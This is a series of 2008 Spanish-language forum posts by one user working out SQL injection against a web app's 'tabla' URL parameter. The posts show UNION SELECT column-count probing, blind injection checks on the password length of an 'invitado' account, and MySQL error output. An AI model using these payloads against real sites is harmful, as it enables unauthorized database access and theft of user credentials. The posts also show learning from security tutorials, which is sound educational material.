|
71
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 28 Mayo 2008, 00:52 am
|
obranueva UNION SELECT database(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios -- lo de database() no lo entiendo. que se supone que tengo que meter ahi? el nombre de el campo?? es decir: obranueva UNION SELECT usuario(),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios -- asi?
al meter el -1 me da error sera que tengo que cerrar un parentesis o algo de la primera consulta?
como quedaria lo del char? CHAR(40) SELECT length(pass) FROM usuarios where usuario=invitado CHAR(41)
da error
MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT length(pass) FROM usuarios where usuario=invitado CHAR(4
algo pasa con la primera consulta, yo normalmente no la termino y no me muestra nada, pero no me da error,, ahora estoy intentando terminarla y luego añadir algo mas para que asi se muestre el contenido.
si pongo obranueva order by hoy DESC LIMIT 0, 4 /* se ve el contenido perfectamente
pero si pongo obranueva order by hoy DESC LIMIT 0, 4
obranueva order by hoy DESC LIMIT 0, 4 UNION SELECT usuario,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
me dice MySQL Error: Wrong usage of UNION and ORDER BY ¿?¿?¿?
|
|
|
73
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 26 Mayo 2008, 18:04 pm
|
huelo la miel pero no puedo tocarla. cada vez que meto un parentesis me da un error, por ejemplo intento dar con el numero de entradas que tiene la tabla usuarios de esta manera UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE (SELECT Count(*) FROM usuarios) < 1000 /* y me da este error MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT Count(*) FROM usuarios) < 1000 /* order by hoy DESC LIMI siempre que meto un parentesis antes de un select para hacer la comprobacion me da error. que estoy haciendo mal? lo intento hacer como en el manual de blind sql inyection de ka0x PDF ---> http://www.milw0rm.com/papers/197esto esta mal? WHERE (SELECT Count(*) FROM usuarios) < 1000 /*
|
|
|
75
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 23 Mayo 2008, 00:45 am
|
trato de pensarrrrr xD,dios como quema esto, eso si estoy aprendiendo no sabeis cuanto. no hay nada mejor como pensar jaja
si la sentencia es select nombre from <inyeccion> order by hoy DESC LIMIT 0, 4
en el momento que meto un AND la cosa peta. pero si meto UNION si puedo meterle cosas.
si pongo en la inyeccion: order by hoy DESC LIMIT 0, 4 /* funciona y se ven los resultados
si pudiese meter AND pondria AND (SELECT length(pass) FROM usuarios where usuario=invitado) = 8 asi comprobaria que la contraseña tiene 8 caracteres (i n v i t a d o)
pero como hago esto si cada vez que meto un AND peta?uf!
si meto order by hoy DESC LIMIT 0, 4 AND 1=1 /*
dice MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 /* order by hoy DESC LIMIT 0, 4' at line 1
y si no puedo meter and, como compruebo esto: (SELECT length(pass) FROM usuarios where usuario=invitado) = 8
o lo que necesite comprobar?
|
|
|
76
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 22 Mayo 2008, 21:43 pm
|
osea que no puedo hacer otra cosa? resultados no me muestra.solo es error o no error. asique todo es por blind sql.me equivoco? ok, he investigado sobre las magic quotes,no sabia lo que eran. entonces si no puedo poner comillas...
asique tengo que averiguar todas las columnas no?o no es necesario?
al poner obranueva UNION SELECT usuario,pass,1,1,1,1,1,1,1,1,1,1 FROM usuarios /* no da error. si pongo UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE pass -- y tampoco me da error eso me confirma que hay un usuario con el mismo nombre y contraseña no? invitado/invitado
lo que no alcanzo a entender es como dar con el nombre de los usuarios si no puedo poner comillas
|
|
|
77
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 22 Mayo 2008, 19:15 pm
|
estoy haciendo esto siguiendo esta pagina http://www.seguridad-informatica.cl/home/tutorial-inyeccion-sql-basada-en-erroreshe encontrado 2 columnas mas probando, pero me faltan otras 8. lo que estoy intentando ahora es comprobar la existencia de el usuario invitado. se que existe por tanto pongo UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario LIKE 'invitado' -- y me devuelve MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'invitado\' -- order by hoy DESC LIMIT 0, 4' at line 1 si meto UNION SELECT MIN(usuario),1,1,1,1,1,1,1,1,1,1,1 FROM usuarios WHERE usuario > 'a' -- MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'a\' -- order by hoy DESC LIMIT 0, 4' at line 1 es decir, siempre se queja de las comillas.no se como evitarlo.
|
|
|
78
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 22 Mayo 2008, 00:43 am
|
he estao dandole caña hasta llegar a
obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios en este punto me dice MySQL Error: Unknown column 'hoy' in 'order clause'. osea que aqui hay algo no? este es el numero de columnas correcto?
poniendo -- ya no me da ningun error. obranueva UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1 FROM usuarios --
|
|
|
79
|
Seguridad Informática / Nivel Web / Re: atascado con inyeccion sql
|
en: 21 Mayo 2008, 23:37 pm
|
he dado con el nombre de las columnas a base de fallos
entonces queda asi ?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios ahora me dice MySQL Error: The used SELECT statements have a different number of columns
tengo que averiguar el numero de columnas, no se como averiguarlo tengo que ir poniendo ?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4 FROM usuarios ?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5 FROM usuarios ?tabla=obranueva UNION SELECT usuario,pass,1,2,3,4,5,6 FROM usuarios y asi sucesivamente? hasta dar con el numero de columnas?? aqui ando verde, verde.
no entiendo por que hay que poner 1,2,3,4 muchas gracias sirdarckcat!
|
|
|
80
|
Seguridad Informática / Nivel Web / MySQL Problemas con inyección en el nombre de la tabla
|
en: 21 Mayo 2008, 22:12 pm
|
buenas! un amigo me dijo esta haciendo una web y me dijo que mirase las vulnerabilidades, le dije que no sabia mucho pero que lo intentaria asique bueno.. hasta el momento no me habia puesto a investigar sobre inyecciones sql y creo que es buen momento el caso es que he estado probando en el documento .php del login y no he encontrado nada pero luego he probado en otro y he obtenido mejores resultados. uno de los apartados me lleva a esta url http://www.web.com/index.php?tabla=obranuevaentonces se me a ocurrido probar a ver si existe la tabla usuarios http://www.web.com/index.php?tabla=usuariosy perfecto parece que esta esta tabla existe, pero por la consulta sql me da este error. . MySQL Error: Unknown column 'nombre' in 'field list' entonces pongo el tipico 1=1 a ver si hay inyeccion http://www.web.com/index.php?tabla=usuarios AND 1=1 y recibo este error DB Error MySQL Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'and 1=1 order by hoy DESC LIMIT 0, 4' at line 1 por lo que calculo que la sentencia para la consulta es algo asi como select * from tabla order by hoy DESC LIMIT 0, 4' he probado a poner AND 1=1-- AND 1=1; 'AND 1=1-- 'AND 1=1; y mil cosas mas pero siempre obtengo ese error. estoy bastante atrapado alguna pista? que se me escapa?
|
|
|
|
|
|
|